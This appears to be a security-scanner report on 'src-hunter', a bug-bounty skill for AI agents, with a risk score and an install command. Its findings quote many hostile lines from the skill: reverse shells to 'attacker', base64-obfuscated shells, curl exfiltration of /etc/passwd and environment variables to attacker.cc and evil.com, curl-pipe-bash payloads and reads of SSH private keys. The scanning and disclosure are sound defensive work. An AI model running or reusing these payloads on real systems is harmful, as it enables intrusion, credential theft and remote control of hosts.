src-hunter
42 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By boisenoise/skills-collections (GitHub) · security · 12 stars · scanned at commit 419c39f
Bug-bounty/SRC vulnerability-hunting workflow: five-phase methodology (intake, recon, enumeration, hunt, report) with attack playbooks for SQLi, XSS, RCE, SSRF, IDOR, CSRF, path traversal, and file upload.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target$path, target, attacker.cc, 169.254.169.254, exchange.com, sharepoint.com
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 912 places.
- skills/antigravity-pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 477
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/antigravity-pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 483
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/antigravity-pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 491
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path
Show 17 more
- skills/antigravity-pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md, line 248
curl -s http://target/ | grep -iE "(seeyon|tongda|weaver|yongyou|kingdee|landray|jeecg|ruoyi|nacos|druid)" - skills/antigravity-pentest-tools/src-hunter/references/industry/banking-finance.md, line 100
curl -X POST https://target/pay/notify \ - skills/antigravity-pentest-tools/src-hunter/references/industry/banking-finance.md, line 106
curl -X POST https://target/pay/notify -d "out_trade_no=ORDER001&trade_status=SUCCESS" - skills/antigravity-pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 173
curl https://attacker.cc/?d=`whoami` - skills/antigravity-pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 174
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/ - skills/antigravity-pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 245
AWS-IMDSv2 curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 20
curl -k https://exchange.com/owa/auth/x.js - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 69
curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com" - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 112
curl -k https://exchange.com/owa/auth/logon.aspx - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 120
curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 136
curl -k https://exchange.com/autodiscover/autodiscover.xml - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 5
示例中的 sharepoint.com 不是可授权的占位目标：替换为明确在范围内的测试租户。SharePoint Online 通常需要受支持的 OAuth 流程；`curl -u` 和旧版 SharePointOnlineCredentials 片段不是通用的现代租户登录方案。列表 items 返回元数据，不自动下载 - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 20
curl -k https://sharepoint.com/_api/web/webs - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 28
curl -k https://sharepoint.com/_api/web/siteusers - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 36
curl -k https://sharepoint.com/_api/web/lists - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 44
curl -k "https://sharepoint.com/_api/search/query?querytext='password'" - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 80
curl -k -u user:password "https://sharepoint.com/_api/web/lists/getbytitle('Documents')/items"
and 892 more places
Contains code that is hidden or hard to read
The author does not mention this.
Found in 6 places.
- skills/antigravity-pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 # security-allowlist: SEC008 - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 127
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # security-allowlist: SEC008 - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 429
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash # security-allowlist: SEC008
Show 3 more
- skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 227
| 命令字过滤 | base64：`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | <!-- security-allowlist: SEC008 --> - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 2256
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # security-allowlist: SEC008 - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 2434
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash # security-allowlist: SEC008
Downloads and installs other software
The author does not mention this.
Found in 19 places.
- skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 492
npm install -g graphql-cli - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 496
pip install inql - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 500
npm install -g graphql-cop
Show 16 more
- skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 477
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" # security-allowlist: curl-pipe-bash - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 719
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" > payload.ser # security-allowlist: curl-pipe-bash - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 725
- `"curl attacker.com/shell.sh|bash"` — 要执行的系统命令（反弹Shell常用） _value_ <!-- security-allowlist: curl-pipe-bash --> - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 102
npx socket info lodash - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 360
pip install target-corp-utils --index-url https://pypi.org/simple/ -v 2>&1 | grep "Downloading" - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 380
pip install target-internal-lib # pip没有scope概念 - skills/antigravity-pentest-tools/src-hunter/references/playbooks/api-rest.md, line 655
npm install -g graphql-cli - skills/antigravity-pentest-tools/src-hunter/references/playbooks/api-rest.md, line 659
pip install inql - skills/antigravity-pentest-tools/src-hunter/references/playbooks/api-rest.md, line 663
npm install -g graphql-cop - skills/antigravity-pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 1021
os.system("curl http://attacker.com/m.sh | bash") # 实际行为 # security-allowlist: curl-pipe-bash - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 1352
pip install idna - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 2459
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" # security-allowlist: curl-pipe-bash - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 2620
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" > payload.ser # security-allowlist: curl-pipe-bash - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 4301
npx socket info lodash - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 4499
pip install target-corp-utils --index-url https://pypi.org/simple/ -v 2>&1 | grep "Downloading" - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 4515
pip install target-internal-lib # pip没有scope概念
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 98 places.
- skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 1074
{"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 150
<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 293
?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
Show 17 more
- skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 757
POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 868
?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 415
; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 417
; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subpro - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 720
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 59
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 170
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 174
- ` ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}` — 参数与载荷内容 _va - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 401
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 523
{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 619
${self.module.cache.util.os.popen("id").read()} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 620
${self.module.cache.util.os.popen("whoami").read()} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 621
${self.module.cache.util.os.system("id")} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 624
- `os.popen()` — 打开管道执行命令 _function_ - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 633
${subprocess.check_output(["id","-a"])} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 634
${subprocess.Popen(["id"],stdout=subprocess.PIPE).communicate()[0]} - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 645
${self.module.cache.util.os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}
and 78 more places
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 9 places.
- skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 261
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - skills/antigravity-pentest-tools/src-hunter/references/payloader/by-category/web/文件漏洞.md, line 304
"../../../root/.ssh/id_rsa" "../../../root/.bash_history" - skills/antigravity-pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys
Show 6 more
- skills/antigravity-pentest-tools/src-hunter/references/playbooks/file-upload.md, line 549
"../../../root/.ssh/id_rsa" "../../../root/.bash_history" - skills/antigravity-pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 918
with open("/root/.ssh/id_rsa", "r") as f: - skills/antigravity-pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - skills/antigravity-pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥（不要使用） - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 293
→ 横向（看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json） - skills/antigravity-pentest-tools/src-hunter/references/playbooks/rce.md, line 4426
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
- 94 Low riskwebapp-exploit-hunterOrizon-eu/claude-code-pentest · 32 stars
- 80 Low risksecurity-bounty-huntertensology/decisionsai · 17 stars
- 87 Low riskexfil-hunterkoda-ai-studio/agent-bom · 37 stars
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'src-hunter' ] || [ -L ~/.agents/skills/'src-hunter' ]; then echo 'A skill folder named src-hunter already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/boisenoise/skills-collections' "$d" && git -C "$d" checkout --quiet '419c39fde874b8baecbb36a397b967e0190a2ece' -- 'skills/antigravity-pentest-tools/src-hunter' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/antigravity-pentest-tools/src-hunter' ~/.agents/skills/'src-hunter' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'src-hunter' ~/.claude/skills/'src-hunter' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for boisenoise/skills-collections shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/boisenoise/skills-collections/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-12 | 419c39f | 42 |
| 2026-11-08 | 5fe45e5 | 42 |
| 2026-11-06 | b89b2f5 | 42 |